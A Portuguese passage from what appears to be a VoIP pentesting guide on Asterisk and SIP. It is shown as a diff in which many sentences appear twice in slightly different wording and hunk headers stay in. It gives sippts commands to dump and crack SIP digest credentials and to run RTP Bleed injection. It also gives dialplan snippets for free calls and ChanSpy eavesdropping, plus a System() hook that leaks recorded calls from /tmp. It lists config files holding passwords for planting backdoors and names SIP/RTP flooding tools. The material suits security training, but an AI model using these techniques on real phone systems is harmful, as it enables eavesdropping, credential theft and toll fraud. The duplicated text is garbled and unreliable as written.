Se encontrar equipamentos de VoIP dentro de uma **rede Wifi aberta**, você poderá **capturar todas as informações**. Além disso, se estiver dentro de uma rede mais fechada (conectado via Ethernet ou Wifi protegido), poderá realizar **ataques de MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
Entre as informações de rede, você pode encontrar **credenciais web** para gerenciar o equipamento, **extensões de usuário**, **nome de usuário**, **endereços IP**, até mesmo **senhas hash** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e mais.
Entre as informações de rede, você poderá encontrar **credenciais web** para gerenciar o equipamento, **extensões de usuário**, **nome de usuário**, **endereços IP**, até mesmo **senhas hash** e **pacotes RTP** que poderá reproduzir para **ouvir a conversa**, e mais.
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para interceptar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
{% hint style="danger" %}
Observe que se **TLS for usado na comunicação SIP**, você não poderá ver a comunicação SIP em texto claro.\
Note que se **TLS for usado na comunicação SIP**, você não poderá ver a comunicação SIP em texto claro.\
O mesmo acontecerá se **SRTP** e **ZRTP** forem usados, **os pacotes RTP não estarão em texto claro**.
{% endhint %}
@ -321,7 +321,7 @@ sipcrack sip-creds.txt -w dict.txt
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS dcrack é uma ferramenta para quebrar as autenticações de digest obtidas com o dump do SIPPTS.
* **`SIPPTS dcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS dcrack é uma ferramenta para quebrar as autenticações digest obtidas com o dump do SIPPTS.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
@ -358,7 +358,7 @@ Também é possível estabelecer confiança com a variável insegura:
- **`insecure=port,invite`**: Ambos
{% hint style="warning" %}
Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar erroneamente um SIP-trunk** usando esse valor, **qualquer um poderá se conectar a ele**.
Quando **`type=friend`** é usado, o **valor** da variável **host** **não será utilizado**, então se um administrador **configurar erroneamente um SIP-trunk** usando esse valor, **qualquer pessoa poderá se conectar a ele**.
Por exemplo, essa configuração seria vulnerável:\
`host=10.10.10.10`\
@ -366,9 +366,9 @@ Por exemplo, essa configuração seria vulnerável:\
`type=friend`
{% endhint %}
### Chamadas Gratuitas / Má Configuração de Contexto do Asterisk
### Chamadas Gratuitas / Má Configuração de Contexto no Asterisk
No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa ramais, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa ramais, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
Cada contexto é definido no arquivo de configuração, geralmente no arquivo **`extensions.conf`**. Os contextos são indicados por colchetes, com o nome do contexto dentro deles. Por exemplo:
```bash
@ -381,7 +381,7 @@ exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Este exemplo demonstra um contexto simples chamado "meu\_contexto" com uma extensão "100". Quando alguém disca 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e, em seguida, a chamada será encerrada.
Este exemplo demonstra um contexto simples chamado "meu_contexto" com uma extensão "100". Quando alguém disca 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e, em seguida, a chamada será encerrada.
Este é **outro contexto** que permite **ligar para qualquer outro número**:
```scss
@ -404,7 +404,7 @@ Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**
* **`SIPPTS invite`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O convite SIPPTS verifica se um **servidor PBX nos permite fazer chamadas sem autenticação**. Se o servidor SIP tiver uma configuração incorreta, permitirá que façamos chamadas para números externos. Também pode permitir que transfiramos a chamada para um segundo número externo.
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, poderá aceitar solicitações de convite sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, você pode aceitar solicitações de convite sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
{% code overflow="wrap" %}
```bash
@ -418,17 +418,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### Chamadas gratuitas / IVRS mal configurados
IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema computadorizado por meio de voz ou teclas de toque. O IVRS é usado para construir sistemas de **manuseio de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar a entrada do usuário.
IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema informatizado por meio de voz ou teclas de toque. O IVRS é usado para construir sistemas de **manuseio de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar a entrada do usuário.
O IVRS em sistemas VoIP geralmente consiste em:
1. **Prompts de voz**: Mensagens de áudio pré-gravadas que guiam os usuários pelas opções de menu do IVR e instruções.
2. **Sinalização DTMF** (Dual-Tone Multi-Frequency): Entradas de teclas de toque geradas pressionando teclas no telefone, que são usadas para navegar pelos menus do IVR e fornecer entrada.
2. **Sinalização DTMF** (Dual-Tone Multi-Frequency): Entradas de teclas de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus do IVR e fornecer entrada.
3. **Roteamento de chamadas**: Direcionar chamadas para o destino apropriado, como departamentos específicos, agentes ou ramais com base na entrada do usuário.
4. **Captura de entrada do usuário**: Coletar informações dos chamadores, como números de conta, IDs de caso ou quaisquer outros dados relevantes.
5. **Integração com sistemas externos**: Conectar o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou disparar eventos.
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo **`extensions.conf`**) e vários aplicativos como `Background()`, `Playback()`, `Read()`, e mais. Esses aplicativos ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo da chamada.
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo **`extensions.conf`**) e várias aplicações como `Background()`, `Playback()`, `Read()`, e mais. Essas aplicações ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo da chamada.
#### Exemplo de configuração vulnerável
```scss
@ -447,7 +447,7 @@ Usando uma extensão como:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for introduzida** é isso que aconteceria:
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for introduzida** isso é o que aconteceria:
```scss
exten => 101,1,Dial(SIP/101)
```
@ -455,7 +455,7 @@ No entanto, se **`${EXTEN}`** permitir introduzir **mais do que números** (como
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas o primeiro a receber a chamada será estabelecido... mas se um atacante usar uma **extensão que contorna qualquer correspondência** que está sendo realizada mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que atender a chamada será estabelecida... mas se um atacante usar uma **extensão que contorna qualquer correspondência** que está sendo realizada mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
## Vulnerabilidade SIPDigestLeak
@ -494,7 +494,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call permite a um **usuário da web** (que por exemplo pode estar interessado em um produto) **introduzir** seu **número de telefone** para ser chamado. Em seguida, uma chamada comercial será feita, e quando ele **atender o telefone**, o usuário será **chamado e conectado com o agente**.
Click2Call permite a um **usuário da web** (que por exemplo pode estar interessado em um produto) **introduzir** seu **número de telefone** para ser chamado. Em seguida, uma chamada comercial será feita e quando ele **atender o telefone**, o usuário será **chamado e conectado ao agente**.
Um perfil comum do Asterisk para isso é:
```scss
@ -507,7 +507,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* O perfil anterior está permitindo que **QUALQUER endereço IP se conecte** (se a senha for conhecida).
* Para **iniciar uma chamada**, como especificado anteriormente, **permissões de leitura não são necessárias** e apenas **originate** em **write** é necessário.
* Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e somente **originate** em **write** é necessário.
Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações em excesso, como:
```bash
@ -527,8 +527,6 @@ Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar*
Também é possível usar o **`ExtenSpy`** para monitorar apenas uma extensão.
Em vez de ouvir as conversas, é possível **gravá-las em arquivos** usando uma extensão como:
{% code overflow="wrap" %}
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
@ -544,9 +542,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
```
### Vulnerabilidade RTCPBleed
**RTCPBleed** é um problema de segurança importante que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego **RTP (Protocolo de Tempo Real)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao passar por firewalls NAT (Tradução de Endereços de Rede).
**RTCPBleed** é um problema de segurança importante que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego **RTP (Protocolo de Tempo Real)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao passar por firewalls de NAT (Tradução de Endereços de Rede).
Os proxies RTP tentam resolver as **limitações do NAT** que afetam os sistemas RTC ao intermediar fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software de proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP obtidas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não utiliza nenhum tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
Os proxies RTP tentam resolver as **limitações de NAT** que afetam os sistemas RTC ao fazer a intermediação de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software de proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP obtidas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não utiliza nenhum tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
Outro comportamento interessante de proxies RTP e pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles irão **aceitar, encaminhar e/ou processar pacotes RTP de qualquer origem**. Portanto, os atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em pontos finais.
@ -566,7 +564,7 @@ sippts rtcpbleed -i 10.10.0.10
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** de [**sippts**](https://github.com/Pepelux/sippts)**:** O exploit SIPPTS rtpbleedinject explora a vulnerabilidade RTP Bleed injetando um arquivo de áudio (formato WAV).
* **`SIPPTS rtpbleedinject`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O exploit SIPPTS rtpbleedinject explora a vulnerabilidade RTP Bleed injetando um arquivo de áudio (formato WAV).
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
@ -587,13 +585,13 @@ Se o servidor estiver **impedindo o uso de certos caracteres** no comando **`Sys
* **`sip.conf`** -> Contém a senha dos usuários SIP.
* Se o **servidor Asterisk estiver sendo executado como root**, você poderia comprometer o root.
* O **usuário root do mysql** pode **não ter senha**.
* Isso poderia ser usado para criar um novo usuário mysql como backdoor.
* isso poderia ser usado para criar um novo usuário mysql como backdoor.
* **`FreePBX`**
* **`amportal.conf`** -> Contém a senha do administrador do painel web (FreePBX).
* **`FreePBX.conf`** -> Contém a senha do usuário FreePBXuser usado para acessar o banco de dados.
* Isso poderia ser usado para criar um novo usuário mysql como backdoor.
* isso poderia ser usado para criar um novo usuário mysql como backdoor.
* **`Elastix`**
* **`Elastix.conf`** -> Contém várias senhas em texto claro, como a senha root do mysql, senha IMAPd, senha do administrador web.
* **`Elastix.conf`** -> Contém várias senhas em texto claro como a senha root do mysql, senha IMAPd, senha do administrador web.
* **Várias pastas** pertencerão ao usuário Asterisk comprometido (se não estiver sendo executado como root). Esse usuário pode ler os arquivos anteriores e também controla a configuração, então ele poderia fazer o Asterisk carregar outros binários com backdoor quando executados.
### Injeção de RTP
@ -611,7 +609,7 @@ Existem várias maneiras de tentar realizar DoS em servidores VoIP.
* **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS no protocolo IAX usado pelo Asterisk.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar inundação de mensagens SIP/SDP INVITE sobre UDP/IP.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar flooding de mensagens SIP/SDP INVITE sobre UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (fareje primeiro).
* [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então pode ser usado para DoS também.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP.